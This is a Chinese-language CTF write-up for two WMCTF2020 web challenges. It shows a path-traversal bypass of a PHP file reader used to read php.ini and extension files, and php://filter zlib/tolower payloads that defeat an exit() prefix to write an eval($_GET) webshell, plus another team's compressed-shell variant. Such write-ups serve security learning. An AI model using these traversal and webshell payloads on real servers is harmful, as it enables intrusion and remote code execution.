0%

[WMCTF2020] wp

[WMCTF2020] wp

看了两天题目,做出来的都是一开始的非预期,马上就上了一个打了补丁的v2.0然后不会做了呜呜呜,base64这题还是个phppwn,好不容易找到了.so文件还需要pwn爷爷去做,webweb代码审计看到头痛也看不出名堂,太菜了

base64

算不上题解,只能说是找到.so文件的步骤,呜呜呜

题目给了一个base64解码功能,简单测试之后发现当输入字符长度不是4的倍数,或者出现不能解码的字符的时候,就会把能解码的部分阶段解码返回,顺便输出一个看不懂的字符画(师傅说那个画的是’base64decodefail’)
查看源码可以看到一个hint,输入参数filename=hint.php,得到

<?php
$pwd="/var/www/html/hint/"

同样用之前的测试思路,令filename=/hint.php,返回内容一致,证明拼接了目录,再使用../跳目录,回显不允许,可能限制了目录穿越,一开始以为是一个文件包含的,后来发现/hint/目录可以访问,并且hint目录下只有一个hint.php且访问得不到如下回显,故知道该功能实际上是读取文件并返回内容
测试目录穿越,发现使用filename=aaa/../hint.php仍然能够返回上述内容且无错误回显,则知道..并未被过滤,初步认定可能设置可读取目录为/var/www/html/hint/,但师傅测试了一下../aaa/hint.php发现仍未报错,这就很奇怪了,一时不知道是啥情况。
然后随便测试的时候试了一下filename=/../aaa/../b64.php/. 读到了源码,才知道是怎么进行判断的

<?php
error_reporting(0);
if ($_POST["text"]!=NULL) {
    $decode_data=$_POST["text"];
    die(base64decode($decode_data));
}

function dir_count($filename){
    $depath = 0;
    foreach (explode('/', $filename) as $part) {
        if ($part == '..') {
            $depath--;
        } elseif ($part != '.') {
            $depath++;
        }
    }
    return $depath;
}

if(isset($_GET['filename'])) {
    $filename = $_GET['filename'];
    if (strlen($filename) > 50) {
        die("You're over the limit");
    }
    $filename = preg_replace("/(flag)|(proc)|(self)|(maps)/i", "w&m", $filename);
    if (dir_count($filename) > 0) {
        echo file_get_contents('./hint/'.$filename);
    } else {
        echo "You're over the limit";
    }
}

dir_count函数统计跳目录的次数和非跳目录的次数,知道了怎么回事之后就很容易绕过了,增加一大堆///////就可以在不影响目录解析的情况下使得$depath++
不过到了这里也找不到攻击的点,因为这个正则写的很死,就是不给读flag,没法绕过

这里比较令人在意的就是那个base64解码函数,和平常用的标准函数名字有一点点出入,最重要的是输入输出会有奇怪的字符画返回,做到这一步的时候估计就是要去找那个.so文件然后做一个php的pwn题了

phpinfo看不见,就只能去找php.ini,按照默认的路径去找,还不知道PHP版本,只能一个个试,最后在http://base.wmctf.wetolink.com/b64.php?filename=///////../../../../../etc/php/7.2/apache2/php.ini 下面找到了php.ini,版本是7.2,拉到最下面,看见了一个叫做cfgoPHPExt_new.so的扩展文件,不和php.ini在一个文件夹下面,搜默认路径是什么,给了个/usr/lib/php/{编译日期}/,后来发现每个版本的这个日期是一致的,起了一个docker,得到7.2的路径为http://base.wmctf.wetolink.com/b64.php?filename=../../../../usr/lib/php/20170718/cfgoPHPExt_new.so
字符刚刚好50个,出题人都算好了,事实上只要要访问的目录深度大于四,就可以直接跳到根目录然后再访问,完全不需要考虑dir_count函数的限制

然后题目到这就告一段落了,呜呜呜后面的都是pwn爷爷和re爷爷的工作,我也不懂
可能难度主要还是在逆向上面吧,毕竟感觉这个题目的前面半边的思路和其他的题目难度差距还是大了点

web_checkin2.0

这个题一开始被非预期了,后来就上了一个2.0版本

题解

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['HTTP_X_REAL_IP']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
    die('hacker');
    if(file_exists($content))
        require_once($content);
    echo $content;
    file_put_contents($content,'<?php exit();'.$content);
}

需要绕过一下这个死亡exit,以前常见的做法就是使用伪协议进行绕过,把自己的payload编码,然后以解码的形式写入,凑一下字符,就可以毁坏这个exit进行getshell

PHP函数居然不分大小写(我现在才知道),所以toupper之类的方法并不能绕过exit,也可以用strip_tags来去除<?php这个标记内的所有内容绕过exit,不过这里试了一下发现一用strip_tags就崩了,暂时作罢

但是这里常用编码都给过滤掉了,所以师傅使用强力的压缩算法进行绕过,先压缩,再将字符转小写,再解压缩,虽然不知道压缩是怎么回事,但是的确可以破坏exit,但是shell也被破坏了。。。然后就是硬凑时间,经过漫长的测试,发现将空格替换为换行符之后shell不会被损坏,得到如下payload

php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=?><?php
eval($_GET[2]);?>

可以自己试一试解码的结果echo gzinflate(strtolower(gzdeflate("<?php exit();".$content)));

<?php@�xit();php://fil|mr/zlib.lmfla|m|s|ring.|olowmr|zlib.infla|m/resourcg=?><?php
eval($_GET[6]);?>

可以看到原来的eval($_GET[2]);变成了eval($_GET[6]);,但是shell还是shell,还能用,resource后面写的

?><?php
eval($_GET[2]);?>

就是文件名,包含一下getshell

NULL wp

看了NULL的神仙的wp,思路类似不过似乎更优雅一些

content=php://filter/write=string.strip_tags|zlib.inflate|%3F%3E%b3%b1%2f%c8%28%50%28%ae%2c%2e%49%cd%d5%50%89%77%77%0d%89%8e%8f%d5%b4%b6%b7%03%3C%3F/resource=123.php

filter中resource中不能出现不可见字符(大概)或者是文件名就不允许出现不可见字符?但允许filter里面使用不存在的过滤器,只会触发一个warning,所以null的师傅们将构造好的已经压缩过的shell写进了过滤器中,而不是像我们一样憨憨的在resource里面硬凑

但是strip_tags会引发某些版本PHP错误崩溃,所以这个payload一打就502,但是既然已经可以解压缩了,为什么不直接去掉strip_tags解压缩写一个shell进去呢,但是本地Windows尝试去掉strip_tags之后写文件会出一个Only 0 of 87 bytes written, possibly out of free disk space的warning,写不进去,还没搞清楚怎么回事(可能压缩文件需要特定的文件头才能解压缩吧)

null的师傅采取常见做法,在strip_tags使用时同时上传一堆shell,因为其引发PHP崩溃,所以上传文件以PHPxxxxxx的文件名遗留在tmp目录下,之后通过脚本硬爆破tmp目录下文件名getshell
好像这个思路还挺正统的,我都忘了这回事了呜呜呜呜